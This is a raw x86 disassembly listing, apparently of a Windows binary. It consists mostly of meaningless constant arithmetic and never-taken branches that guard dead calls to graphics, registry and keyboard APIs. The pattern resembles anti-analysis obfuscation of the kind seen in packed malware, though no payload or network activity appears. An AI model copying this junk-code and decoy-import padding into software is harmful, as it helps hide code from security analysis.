mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 3
jge 0x46dd5b
mov eax, dword [ebp - 0x588]
mov dword [ebp + eax*4 - 0x2ddc], 0x204e2db5
jmp 0x46dd32
mov dword [ebp - 0x384], 0
jmp 0x46dd74
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 2
jg 0x46ddb5
mov eax, dword [ebp - 0x384]
cmp dword [ebp + eax*4 - 0x2ddc], 0xffffffff
jne 0x46dd99
mov dword [ebp - 0x145c], 1
jmp 0x46dda0
and dword [ebp - 0x145c], 0
mov eax, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x145c]
mov dword [ebp + eax*4 - 0x2ddc], ecx
jmp 0x46dd67
mov byte [ebp - 0x374], 0
movzx eax, byte [ebp - 0x374]
test eax, eax
je 0x46de11
push 0x14c3
push 0x920
push 0
push 0
push 0xb98
push 0x25c3
push 0x1bb4
push 0x1532
push 0x2032
push 0x11b6
push 0xd37
push 0x1c09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
mov dword [ebp - 0x2d40], 1
mov dword [ebp - 0x2a08], 0xffffffff
mov dword [ebp - 0x934], 0x167fa5c6
mov dword [ebp - 0x38c], 0x4c000111
mov dword [ebp - 0x1d4], 0xffffffff
mov dword [ebp - 0x2dc], 0x97963ba2
mov dword [ebp - 0x25c4], 0xffffffff
mov dword [ebp - 0x25c0], 0xffffffff
mov dword [ebp - 0x25bc], 0xffffffff
mov dword [ebp - 0x25b8], 0xffffffff
mov dword [ebp - 0x3118], 0x14eb
mov dword [ebp - 0x22a4], 0xebfb2c41
mov dword [ebp - 0x5a0], 0xcb0befcd
mov dword [ebp - 0x184], 0
jmp 0x46deac
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 4
jge 0x46dec8
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x29bc], 0xa08bbd18
jmp 0x46de9f
mov dword [ebp - 0x184], 0
jmp 0x46dee1
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 1
jge 0x46defd
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x2a10], 0
jmp 0x46ded4
mov eax, dword [ebp - 0x5a0]
dec eax
mov dword [ebp - 0x5a0], eax
jne 0x46dfc3
mov eax, dword [ebp - 0x2dc]
add eax, dword [ebp - 0x1d4]
je 0x46df3a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x29bc], 0
je 0x46df3a
mov dword [ebp - 0x1bdc], 1
jmp 0x46df41
and dword [ebp - 0x1bdc], 0
cmp dword [ebp - 0x1bdc], 6
jae 0x46df56
mov dword [ebp - 0x1464], 1
jmp 0x46df5d
and dword [ebp - 0x1464], 0
mov eax, dword [ebp - 0x1464]
neg eax
cmp eax, 0x5c0de450
jl 0x46df78
mov dword [ebp - 0x195c], 1
jmp 0x46df7f
and dword [ebp - 0x195c], 0
mov eax, dword [ebp - 0x38c]
cmp dword [ebp - 0x195c], eax
jle 0x46df99
mov dword [ebp - 0x146c], 1
jmp 0x46dfa0
and dword [ebp - 0x146c], 0
mov eax, dword [ebp - 0x146c]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1d4]
add eax, dword [ebp - 0x2dc]
jne 0x46dfc3
and dword [ebp - 0x1d1c], 0
jmp 0x46dfcd
mov dword [ebp - 0x1d1c], 1
mov eax, dword [ebp - 0x934]
imul eax, dword [ebp - 0x934]
imul eax, dword [ebp - 0x934]
cmp eax, dword [ebp - 0x1d1c]
jl 0x46dff5
mov dword [ebp - 0x1474], 1
jmp 0x46dffc
and dword [ebp - 0x1474], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1474]
mov dword [ebp + eax - 0x25c4], ecx
mov dword [ebp - 0x1d4], 3
jmp 0x46e028
mov eax, dword [ebp - 0x1d4]
dec eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jl 0x46e2d5
mov dword [ebp - 0x196c], 0x81b27067
mov byte [ebp - 0x26e], 0
movzx eax, byte [ebp - 0x26e]
test eax, eax
je 0x46e064
push 0
push 0
push 0xc96
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x38c], 0
jmp 0x46e07d
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 3
jg 0x46e2d0
push 4
lea ecx, [ebp - 0x2538]
call fcn.0042ae00
mov dword [ebp - 0x20e4], 0xeb6ba8a7
mov dword [ebp - 0x590], 0
jmp 0x46e0ba
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 4
jge 0x46e0d9
push dword [ebp - 0x590]
lea ecx, [ebp - 0x2538]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x46e0ad
mov dword [ebp - 0x2dc], 3
jmp 0x46e0f2
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jl 0x46e2c0
mov dword [ebp - 0x598], 0
jmp 0x46e118
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 1
jge 0x46e134
mov eax, dword [ebp - 0x598]
mov dword [ebp + eax*4 - 0x20dc], 0xfffffff7
jmp 0x46e10b
mov byte [ebp - 0x34d], 0
movzx eax, byte [ebp - 0x34d]
test eax, eax
je 0x46e14c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 0x2dc]
cmp dword [ebp + eax*4 - 0x29bc], 0
je 0x46e289
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29bc]
mov dword [ebp - 0x1964], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1964]
mov dword [ebp + eax - 0x20dc], ecx
imul eax, dword [ebp - 0x1964], 0xfff7
test eax, eax
jne 0x46e224
push 3
lea ecx, [ebp - 0x2538]
call fcn.0042aeee
mov esi, eax
push 0
lea ecx, [ebp - 0x2538]
call fcn.0042aeee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x46e1c6
mov dword [ebp - 0x147c], 1
jmp 0x46e1cd
and dword [ebp - 0x147c], 0
mov eax, dword [ebp - 0x196c]
cmp dword [ebp - 0x147c], eax
jge 0x46e1e7
mov dword [ebp - 0x1be4], 1
jmp 0x46e1ee
and dword [ebp - 0x1be4], 0
cmp dword [ebp - 0x1be4], 0xc77e
jle 0x46e206
mov dword [ebp - 0x1484], 1
jmp 0x46e20d
and dword [ebp - 0x1484], 0
mov eax, dword [ebp - 0x1484]
sub eax, dword [ebp - 0x5a0]
jne 0x46e224
and dword [ebp - 0x93c], 0
jmp 0x46e22e
mov dword [ebp - 0x93c], 1
mov eax, dword [ebp - 0x38c]
mov ecx, dword [ebp - 0x93c]
mov dword [ebp + eax*4 - 0x25c4], ecx
mov eax, dword [ebp - 0x196c]
cmp dword [ebp - 0x93c], eax
jg 0x46e25b
mov dword [ebp - 0x148c], 1
jmp 0x46e262
and dword [ebp - 0x148c], 0
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x22a4]
add ecx, dword [ebp - 0x148c]
cmp dword [ebp + eax*4 - 0x29bc], ecx
je 0x46e289
mov dword [ebp - 0x1dbc], 1
jmp 0x46e290
and dword [ebp - 0x1dbc], 0
cmp dword [ebp - 0x1dbc], 0xfffffffd
jl 0x46e2a5
mov dword [ebp - 0x1494], 1
jmp 0x46e2ac
and dword [ebp - 0x1494], 0
mov eax, dword [ebp - 0x1494]
sub eax, 9
mov dword [ebp - 0x20e4], eax
jmp 0x46e0e5
lea ecx, [ebp - 0x2538]
call fcn.0042aed2
jmp 0x46e070
jmp 0x46e01b
mov dword [ebp - 0xd4], 3
mov dword [ebp - 0x1974], 0x37ad4351
mov dword [ebp - 0x944], 0x935cb514
mov dword [ebp - 0x14d4], 0x94902820
mov dword [ebp - 0x1bfc], 0x8b697689
mov dword [ebp - 0xd4], 0
jmp 0x46e320
cmp dword [ebp - 0xd4], 0x17
jl 0x46e70f
mov dword [ebp - 0x2e4], 5
mov dword [ebp - 0x394], 0xfffffff8
mov dword [ebp - 0x1bf4], 0x51814487
push 1
lea ecx, [ebp - 0x2824]
call fcn.0042ae00
mov dword [ebp - 0x5a8], 0
jmp 0x46e371
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 1
jge 0x46e393
push dword [ebp - 0x5a8]
lea ecx, [ebp - 0x2824]
call fcn.0042aeee
mov dword [eax], 0x7606ab81
jmp 0x46e364
mov dword [ebp - 0x1974], 0xccce
cmp dword [ebp - 0x1974], 0
jne 0x46e3b2
mov dword [ebp - 0x14ec], 1
jmp 0x46e3b9
and dword [ebp - 0x14ec], 0
cmp dword [ebp - 0x2e4], 0
je 0x46e3cb
cmp dword [ebp - 0x2e4], 0
jne 0x46e3dd
cmp dword [ebp - 0xd4], 0
jne 0x46e3dd
and dword [ebp - 0x149c], 0
jmp 0x46e3e7
mov dword [ebp - 0x149c], 1
cmp dword [ebp - 0x149c], 0xfffffffa
jge 0x46e3fc
mov dword [ebp - 0x1bec], 1
jmp 0x46e403
and dword [ebp - 0x1bec], 0
mov eax, dword [ebp - 0xd4]
add eax, dword [ebp - 0x1bec]
cmp eax, dword [ebp - 0xd4]
jne 0x46e423
mov dword [ebp - 0x23c4], 1
jmp 0x46e42a
and dword [ebp - 0x23c4], 0
mov dword [ebp - 0x394], 0xe595
push 3
pop eax
cmp eax, 0x99bf0bb9
je 0x46e44a
mov dword [ebp - 0x14a4], 1
jmp 0x46e451
and dword [ebp - 0x14a4], 0
mov eax, dword [ebp - 0x14a4]
mov dword [ebp - 0x944], eax
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x944], eax
jge 0x46e477
mov dword [ebp - 0x197c], 1
jmp 0x46e47e
and dword [ebp - 0x197c], 0
mov eax, dword [ebp - 0x197c]
add eax, 0x2b89c393
cmp eax, 0xfd55
jge 0x46e49c
mov dword [ebp - 0x14ac], 1
jmp 0x46e4a3
and dword [ebp - 0x14ac], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x14ac], eax
jl 0x46e4bd
mov dword [ebp - 0x1d24], 1
jmp 0x46e4c4
and dword [ebp - 0x1d24], 0
mov eax, dword [ebp - 0x2e4]
cmp dword [ebp - 0x1d24], eax
jne 0x46e4de
mov dword [ebp - 0x14b4], 1
jmp 0x46e4e5
and dword [ebp - 0x14b4], 0
cmp dword [ebp - 0x14b4], 0x46d2
jle 0x46e50c
cmp dword [ebp - 0x944], 0
jne 0x46e50c
cmp dword [ebp - 0x2e4], 0
jne 0x46e50c
and dword [ebp - 0x1984], 0
jmp 0x46e516
mov dword [ebp - 0x1984], 1
mov eax, dword [ebp - 0x2e4]
cmp dword [ebp - 0x1984], eax
jg 0x46e530
mov dword [ebp - 0x14bc], 1
jmp 0x46e537
and dword [ebp - 0x14bc], 0
mov eax, dword [ebp - 0x14bc]
mov dword [ebp - 0x1bf4], eax
mov eax, dword [ebp - 0x1bf4]
sub eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x2e4]
jg 0x46e563
mov dword [ebp - 0x14c4], 1
jmp 0x46e56a
and dword [ebp - 0x14c4], 0
mov eax, dword [ebp - 0x2e4]
cmp dword [ebp - 0x14c4], eax
jne 0x46e584
mov dword [ebp - 0x198c], 1
jmp 0x46e58b
and dword [ebp - 0x198c], 0
imul eax, dword [ebp - 0x198c], 0x60d4
cmp eax, dword [ebp - 0xd4]
jge 0x46e5a9
mov dword [ebp - 0x14cc], 1
jmp 0x46e5b0
and dword [ebp - 0x14cc], 0
cmp dword [ebp - 0x14cc], 0xfffb
je 0x46e5c8
mov dword [ebp - 0x1e0c], 1
jmp 0x46e5cf
and dword [ebp - 0x1e0c], 0
mov eax, dword [ebp - 0x1e0c]
mov dword [ebp - 0x14d4], eax
mov eax, dword [ebp - 0x14d4]
sub eax, 0x57638ff4
cmp eax, 0xfffffffb
je 0x46e5f7
mov dword [ebp - 0x1994], 1
jmp 0x46e5fe
and dword [ebp - 0x1994], 0
cmp dword [ebp - 0x1994], 1
jle 0x46e613
mov dword [ebp - 0x14dc], 1
jmp 0x46e61a
and dword [ebp - 0x14dc], 0
mov eax, dword [ebp - 0x1bfc]
cmp dword [ebp - 0x14dc], eax
jge 0x46e634
mov dword [ebp - 0x14e4], 1
jmp 0x46e63b
and dword [ebp - 0x14e4], 0
mov eax, dword [ebp - 0x1bfc]
cmp dword [ebp - 0x14e4], eax
jl 0x46e655
mov dword [ebp - 0x5b0], 0
jmp 0x46e728
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 4
jge 0x46e74a
push dword [ebp - 0x5b0]
lea ecx, [ebp - 0xb00]
call fcn.0042aeee
mov dword [eax], 4
jmp 0x46e71b
mov dword [ebp - 0x1e4], 1
mov dword [ebp - 0x20f4], 0xfffffff6
mov dword [ebp - 0x1e4], 0
jmp 0x46e777
mov eax, dword [ebp - 0x1e4]
dec eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0xfffffffa
jle 0x46ea42
mov dword [ebp - 0x130], 0x75286e87
mov dword [ebp - 0x1514], 0xffffffff
mov dword [ebp - 0x1c0c], 0xeb300a9e
mov dword [ebp - 0x130], 0x17
jmp 0x46e7bb
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xf
je 0x46ea3d
mov dword [ebp - 0x1dc], 0xffffffff
mov dword [ebp - 0x1dc], 0xffffffe6
jmp 0x46e7eb
cmp dword [ebp - 0x1dc], 0xffffffe4
jg 0x46ea38
mov dword [ebp - 0x94c], 0x7ab6ce1a
mov dword [ebp - 0x22ac], 0xe69cd17c
mov byte [ebp - 0x376], 0
movzx eax, byte [ebp - 0x376]
test eax, eax
je 0x46e829
push 0x82d
call dword [sym.imp.USER32.dll_GetKeyboardType]
cmp dword [ebp - 0x130], 0x3c1d
jg 0x46e84a
mov eax, 0xfc60
test eax, eax
je 0x46e84a
mov dword [ebp - 0x150c], 1
jmp 0x46e851
and dword [ebp - 0x150c], 0
mov eax, 0x59785734
test eax, eax
je 0x46e86f
cmp dword [ebp - 0x1dc], 0
je 0x46e86f
mov dword [ebp - 0x19a4], 1
jmp 0x46e876
and dword [ebp - 0x19a4], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x19a4], eax
jle 0x46e890
mov dword [ebp - 0x14fc], 1
jmp 0x46e897
and dword [ebp - 0x14fc], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x14fc], eax
jl 0x46e8ba
cmp dword [ebp - 0x130], 0
je 0x46e8ba
mov dword [ebp - 0x1c04], 1
jmp 0x46e8c1
and dword [ebp - 0x1c04], 0
mov eax, dword [ebp - 0x1c04]
mov dword [ebp - 0x94c], eax
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x94c], eax
jl 0x46e8e7
mov dword [ebp - 0x1504], 1
jmp 0x46e8ee
and dword [ebp - 0x1504], 0
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x1504]
je 0x46e908
mov dword [ebp - 0x19ac], 1
jmp 0x46e90f
and dword [ebp - 0x19ac], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x19ac], eax
jge 0x46e929
mov dword [ebp - 0x1dc4], 1
jmp 0x46e930
and dword [ebp - 0x1dc4], 0
mov eax, dword [ebp - 0x150c]
cmp eax, dword [ebp - 0x1dc4]
jl 0x46e94a
mov dword [ebp - 0x20ec], 1
jmp 0x46e951
and dword [ebp - 0x20ec], 0
mov eax, dword [ebp - 0x22ac]
mov dword [ebp - 0x2d50], eax
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0x1514], eax
mov eax, dword [ebp - 0x1514]
sub eax, dword [ebp - 0x1dc]
cmp eax, dword [ebp - 0x1dc]
jg 0x46e98e
xor eax, eax
inc eax
je 0x46e98e
mov dword [ebp - 0x19b4], 1
jmp 0x46e995
and dword [ebp - 0x19b4], 0
cmp dword [ebp - 0x19b4], 1
jbe 0x46e9aa
mov dword [ebp - 0x151c], 1
jmp 0x46e9b1
and dword [ebp - 0x151c], 0
mov eax, dword [ebp - 0x151c]
mov dword [ebp - 0x1c0c], eax
mov eax, dword [ebp - 0x1c0c]
imul eax, dword [ebp - 0x1dc]
test eax, eax
jne 0x46e9e0
cmp dword [ebp - 0x130], 0
jne 0x46e9e0
and dword [ebp - 0x1524], 0
jmp 0x46e9ea
mov dword [ebp - 0x1524], 1
cmp dword [ebp - 0x1524], 2
ja 0x46e9ff
mov dword [ebp - 0x19bc], 1
jmp 0x46ea06
and dword [ebp - 0x19bc], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x19bc], eax
je 0x46ea20
jmp 0x46e7ae
jmp 0x46e76a
mov byte [ebp - 0x272], 0
movzx eax, byte [ebp - 0x272]
test eax, eax
je 0x46ea65
push 0
push 0x98d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [ebp - 0x31c], 0
jmp 0x46ea7e
cmp dword [ebp - 0x31c], 0xb
je 0x47159f
mov dword [ebp - 0x424], 0x540d7f82
mov dword [ebp - 0x5c0], 0xffffffff
mov dword [ebp - 0x2a18], 0x2a727599
mov dword [ebp - 0x5d0], 0xffffffff
mov dword [ebp - 0x154c], 8
mov dword [ebp - 0x2fac], 0x4f3d4e67
mov dword [ebp - 0x2a20], 2
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x2430], 0x9161d594
mov dword [ebp - 0x1d34], 1
mov dword [ebp - 0x424], 0
jmp 0x46eb08
mov eax, dword [ebp - 0x424]
dec eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xffffffe8
jl 0x46eb73
mov dword [ebp - 0x2d60], 3
mov dword [ebp - 0x2a28], 7
mov dword [ebp - 0x30b0], 0xfffffffd
mov dword [ebp - 0x5b8], 0
jmp 0x46eb48
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 2
jge 0x46eb64
mov eax, dword [ebp - 0x5b8]
mov dword [ebp + eax*4 - 0x3304], 0xfffffff7
jmp 0x46eb3b
mov eax, dword [ebp - 0x1d34]
inc eax
mov dword [ebp - 0x1d34], eax
jmp 0x46eafb
mov dword [ebp - 0x5c0], 0xffffffe2
jmp 0x46eb8c
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0xfffffffd
jge 0x46eec8
push 3
lea ecx, [ebp - 0x1f4c]
call fcn.0042ae00
mov dword [ebp - 0x22b4], 0x65392fb3
mov dword [ebp - 0x5c8], 0
jmp 0x46ebc9
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 3
jge 0x46ebe8
push dword [ebp - 0x5c8]
lea ecx, [ebp - 0x1f4c]
call fcn.0042aeee
and dword [eax], 0
jmp 0x46ebbc
mov byte [ebp - 0x355], 0
movzx eax, byte [ebp - 0x355]
test eax, eax
je 0x46ec15
push 0
push 0x171
push 0x21ea
push 0x1b4f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x41c], 0
jmp 0x46ec2e
mov eax, dword [ebp - 0x41c]
dec eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xffffffe6
jle 0x46eeb8
mov dword [ebp - 0x39c], 1
mov dword [ebp - 0x5d0], 0
jmp 0x46ec5e
cmp dword [ebp - 0x5d0], 0xfffffffa
jge 0x46eeb3
push 1
lea ecx, [ebp - 0x24d8]
call fcn.0042ae00
mov dword [ebp - 0x5d8], 0
jmp 0x46ec91
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 1
jge 0x46ecb0
push dword [ebp - 0x5d8]
lea ecx, [ebp - 0x24d8]
call fcn.0042aeee
and dword [eax], 0
jmp 0x46ec84
mov eax, 0xec62bb2c
test eax, eax
je 0x46ee90
mov esi, dword [ebp - 0x39c]
push 0
lea ecx, [ebp - 0x24d8]
call fcn.0042aeee
cmp esi, dword [eax]
jne 0x46ece0
and dword [ebp - 0x155c], 0
mov eax, dword [ebp - 0x155c]
mov dword [ebp - 0x22b4], eax
lea ecx, [ebp - 0x24d8]
call fcn.0042aed2
jmp 0x46ec51
jmp 0x46ec21
lea ecx, [ebp - 0x1f4c]
call fcn.0042aed2
jmp 0x46eb7f
mov dword [ebp - 0xa4], 0x3e90a624
push 2
lea ecx, [ebp - 0x8fc]
call fcn.0042ae00
mov dword [ebp - 0x2ec], 0xfffffffe
mov dword [ebp - 0x5e8], 0xfffffffd
mov dword [ebp - 0x1c2c], 0xfffffff8
mov dword [ebp - 0x1c4], 0
jmp 0x46ef16
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jge 0x46ef38
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x8fc]
call fcn.0042aeee
mov dword [eax], 0xd5e4
jmp 0x46ef09
mov dword [ebp - 0x1c4], 0
jmp 0x46ef51
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jge 0x46ef6d
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x1a04], 0xf1036c14
jmp 0x46ef44
mov dword [ebp - 0x2ec], 0
jmp 0x46ef86
cmp dword [ebp - 0x2ec], 1
jg 0x46f45d
mov dword [ebp - 0xa0], 0
push 1
lea ecx, [ebp - 0x1f7c]
call fcn.0042ae00
mov dword [ebp - 0x1c1c], 0xcb5af9f7
mov dword [ebp - 0x1ec], 1
mov dword [ebp - 0x2104], 0xf5e4d8d9
mov dword [ebp - 0x23d4], 0xfffa
mov dword [ebp - 0x5e0], 0
jmp 0x46efeb
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 1
jge 0x46f00d
push dword [ebp - 0x5e0]
lea ecx, [ebp - 0x1f7c]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x46efde
mov dword [ebp - 0xa0], 1
jmp 0x46f026
cmp dword [ebp - 0xa0], 0
jl 0x46f21b
cmp dword [ebp - 0xa0], 0
jne 0x46f1da
mov dword [ebp - 0x1ec], 0
jmp 0x46f234
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1a04], 1
lea ecx, [ebp - 0x8fc]
call fcn.0042aed2
or dword [ebp - 0x267c], 0xffffffff
or dword [ebp - 0x2678], 0xffffffff
or dword [ebp - 0x2674], 0xffffffff
or dword [ebp - 0x2670], 0xffffffff
lea ecx, [ebp - 0xab2]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x266c]
push eax
lea eax, [ebp - 0x267c]
push eax
lea ecx, [ebp - 0x3314]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2854]
call fcn.0042aeac
mov dword [ebp - 0x984], 0xd23c5ad0
mov dword [ebp - 0x2a30], 1
mov byte [ebp - 0x274], 0
movzx eax, byte [ebp - 0x274]
test eax, eax
je 0x46f506
push 0x198b
push 0
push 0
push 0x192b
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov byte [ebp - 0x378], 0
movzx eax, byte [ebp - 0x378]
test eax, eax
je 0x46f527
push 0
push 0x1269
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
mov dword [ebp - 0x1704], 0xfffffff7
push 2
lea ecx, [ebp - 0x1eb4]
call fcn.0042ae00
mov dword [ebp - 0x15fc], 0xffffffff
mov dword [ebp - 0x5f0], 0
jmp 0x46f561
cmp dword [ebp - 0x5f0], 2
jge 0x46f583
push dword [ebp - 0x5f0]
lea ecx, [ebp - 0x1eb4]
call fcn.0042aeee
mov dword [eax], 0xdf75dcec
jmp 0x46f554
push 0
lea ecx, [ebp - 0x1eb4]
call fcn.0042aeee
and dword [eax], 0
jmp 0x46f5b9
mov dword [ebp - 0x314], 0x8256a9ef
mov dword [ebp - 0x994], 0x1fc3eee
mov dword [ebp - 0x98c], 0xffffffff
mov dword [ebp - 0x1fc], 0x4888999d
mov dword [ebp - 0x30c], 0x281d21f1
mov dword [ebp - 0x246c], 0x831d26ec
mov dword [ebp - 0x2468], 0x831d26ec
mov dword [ebp - 0x2464], 0x831d26ec
mov dword [ebp - 0x2460], 0x831d26ec
mov dword [ebp - 0x173c], 0x9ce8
mov dword [ebp - 0x2ae0], 0xdc1b2d86
mov byte [ebp - 0x363], 0
movzx eax, byte [ebp - 0x363]
test eax, eax
je 0x471631
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x314], 0
jne 0x47164c
cmp dword [ebp - 0x314], 0
jne 0x47164c
and dword [ebp - 0x1ab4], 0
jmp 0x471656
mov dword [ebp - 0x1ab4], 1
mov eax, dword [ebp - 0x1ab4]
mov dword [ebp - 0x994], eax
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x98c]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x171c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x171c]
mov dword [ebp + eax - 0x246c], ecx
cmp dword [ebp - 0x171c], 0
je 0x4718bb
mov dword [ebp - 0x670], 0x335900b
mov dword [ebp - 0x172c], 0xe33ecdc0
mov dword [ebp - 0x1d74], 0
mov dword [ebp - 0x43c], 0x77d77fc7
mov dword [ebp - 0x668], 0
jmp 0x4716f3
mov eax, dword [ebp - 0x668]
inc eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 4
jge 0x47170f
mov eax, dword [ebp - 0x668]
mov dword [ebp + eax*4 - 0x316c], 0xe4a6b2c4
jmp 0x4716e6
cmp dword [ebp - 0x994], 0
je 0x471795
cmp dword [ebp - 0x98c], 0
jne 0x47173c
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x246c]
sub eax, 5
jne 0x47173c
and dword [ebp - 0x216c], 0
jmp 0x471746
mov dword [ebp - 0x216c], 1
mov eax, dword [ebp - 0x670]
mov dword [ebp - 0x2e20], eax
mov eax, dword [ebp - 0x670]
cmp dword [ebp - 0x30c], eax
jl 0x47176c
mov dword [ebp - 0x1c8c], 1
jmp 0x471773
and dword [ebp - 0x1c8c], 0
mov eax, dword [ebp - 0x1c8c]
neg eax
sub eax, dword [ebp - 0x670]
mov dword [ebp - 0x1fc], eax
je 0x471795
mov dword [ebp - 0x678], 1
jmp 0x47179c
and dword [ebp - 0x678], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x678]
mov dword [ebp + eax - 0x246c], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x678]
mov dword [ebp + eax - 0x316c], ecx
mov eax, dword [ebp - 0x670]
imul eax, dword [ebp - 0x678]
test eax, eax
jne 0x4717de
mov dword [ebp - 0x1724], 1
jmp 0x4717e5
and dword [ebp - 0x1724], 0
mov eax, dword [ebp - 0x994]
cmp eax, dword [ebp - 0x1724]
jle 0x4717ff
mov dword [ebp - 0x2190], 1
jmp 0x471806
and dword [ebp - 0x2190], 0
mov eax, 0x149c
test eax, eax
je 0x47182b
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x316c], 0
je 0x47182b
mov dword [ebp - 0x1abc], 1
jmp 0x471832
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x1abc]
mov dword [ebp - 0x172c], eax
mov eax, dword [ebp - 0x172c]
mov dword [ebp - 0x1d74], eax
cmp dword [ebp - 0x1d74], 0xa0d7
jl 0x471862
mov dword [ebp - 0x1734], 1
jmp 0x471869
and dword [ebp - 0x1734], 0
mov eax, dword [ebp - 0x1734]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x43c], 0xfffffffb
jmp 0x47188e
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0xfffffffd
jg 0x4718b6
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x4718b4
push 0x1b9f
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x471881
jmp 0x4719b5
mov dword [ebp - 0x2ae8], 1
mov dword [ebp - 0x30c8], 0x35653649
mov dword [ebp - 0x2af0], 4
mov dword [ebp - 0x1ac4], 4
mov dword [ebp - 0x680], 0
jmp 0x4718fc
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 2
jge 0x471918
mov eax, dword [ebp - 0x680]
mov dword [ebp + eax*4 - 0x324c], 0x45cb296a
jmp 0x4718ef
mov dword [ebp - 0x1fc], 0
jmp 0x471931
mov eax, dword [ebp - 0x1fc]
dec eax
